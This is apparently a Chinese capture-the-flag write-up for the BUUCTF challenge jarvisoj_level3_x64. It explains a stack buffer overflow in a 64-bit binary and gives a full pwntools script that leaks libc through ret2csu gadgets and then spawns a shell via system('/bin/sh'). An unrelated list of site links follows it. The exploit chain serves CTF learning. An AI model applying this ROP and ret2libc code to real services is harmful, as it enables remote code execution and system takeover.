当前位置: 首页 > news >正文

[buuctf]jarvisoj_level3_x64

首先查看一下文件的保护措施
image
在用ida打开看一下
image
这里很明显在read函数进行输入的时候存在栈溢出,然后观察一下文件,没有后门函数,也没有可以用的binsh,那就可以向libc泄露这方面去想了
由于这里是64位的程序,所以在调用write函数进行泄露时,首先要对寄存器rdi,rsi,rdx进行赋值,那就看看有什么可以用的gagdget
image
这里可以看到存在gadget对rdi,rsi进行赋值,但没有对rdx进行赋值的
但其实在函数libc_csu_init存在对rdi,rsi,rdx进行赋值的片段
image
这里划为csu1
image
这里为csu2
先通过csu1对各个寄存器赋值,在间接对rdi,rsi,rdx,进行赋值
但是在跳转到csu2在进行继续执行的时候,要将各个寄存器的值赋值为0,清理栈并重置寄存器值,为下一次调用准备好栈布局

点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",28249)
elf=ELF("./level3")
read_got=elf.got["read"]
write_got=elf.got["write"]
main=elf.symbols["main"]
csu1=0x4006A6
csu2=0x400690
rdi_ret=0x4006b3
ret=0x400499
def csu_args(extra, rbx, rbp, r12, r13, r14, r15):payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payload
payload1= b'A'*(0x80+8)+ p64(csu1) + csu_args(0, 0, 1, write_got, 8, read_got, 1) + p64(csu2) + csu_args(0, 0, 0, 0, 0, 0, 0) + p64(main)
io.sendafter(b'Input:\n', payload1)
#io.recvuntil(b"World!\n")
#read_addr=u64(io.recv(6).ljust(8,b"\x00"))
read_addr=u64(io.recv(8))
libc=LibcSearcher("read",read_addr)
offset=read_addr-libc.dump("read")
system=offset+libc.dump("system")
binsh=offset+libc.dump("str_bin_sh")
#io.recvuntil("Input:\n")
payload2=b"A"*(0x80+8)+p64(rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload2)
io.interactive()
http://www.hskmm.com/?act=detail&tid=33819

相关文章:

  • SpringBoot系列十三:SpringBoot面试常见问题
  • [LangChain] 04. 提示词模板
  • 2025 最新不锈钢板厂家推荐榜:剖析国内头部品牌竞争优势,附优质供应商选择指南N06625/N06600/C70600不锈钢板厂家推荐
  • 2025 夹丝玻璃源头厂家最新推荐排行榜:解析防火 / 艺术 / 酒店等多场景厂商优势,助力精准选型
  • 2025 中空板源头厂家最新推荐排行榜揭晓:覆盖全产业链,老牌与新锐共筑品质标杆
  • 2025 年感温电缆厂家最新推荐榜单:覆盖线型 / 缆式 / 可恢复 / 消防等多类型产品,全方位解析头部企业核心优势
  • 2025 年盖板源头厂家最新推荐榜单:电力 / 隧道 / 电缆沟等多场景适用品牌优选,解析原材料采购与成本控制要点
  • win
  • 2025 年真空炉制造厂家最新推荐排行榜:涵盖高温烧结真空炉 / 真空退火炉 / 智能铍铜真空炉,助力企业精准选型
  • 2025 年最新推荐排水沟厂家排行榜:聚焦树脂 / 线性 / 树脂混凝土 / 成品 / U 型排水沟优质企业
  • 将 XMind 测试用例转换为 CSV 文件导入测试管理平台
  • 互评-OO之接口-DAO模式代码阅读及应用
  • experiment2
  • 【为美好CTF献上祝福】unity逆向
  • 扩展欧几里得算法
  • 今日学习笔记
  • CSP-S 2022 Solution
  • 印刷电子技术挑战传统PCB主导地位
  • 2025-10-18
  • 某兔网站加密学习
  • 5.vtk学习——点云显示进阶
  • [LangChain] 03. 缓存
  • 面试 / 答辩总卡壳?这款 AI 面试辅助新功能:上传专属资料,精准应答不翻车
  • C语言编程之旅:从入门到实战
  • 引用
  • 实用指南:大数据毕业设计 python智慧交通监控系统 Flask+Echarts可视化 百度地图 毕业设计(源码)✅
  • Selenium元素定位总失败?这8种定位策略你必须掌握
  • 2025 年钢闸门厂家最新推荐排行榜:涵盖不锈钢 / 渠道 / 河道 / 水库 / 平面 / 手动 / 电动 / 液压钢闸门,聚焦十大实力厂家核心优势
  • 2025 年最新铸铁闸门源头厂家推荐排行榜,涵盖四川 / 镶铜 / 渠道 / 圆形 / 方形等类型,助力一站式采购优质供应商
  • 内存四区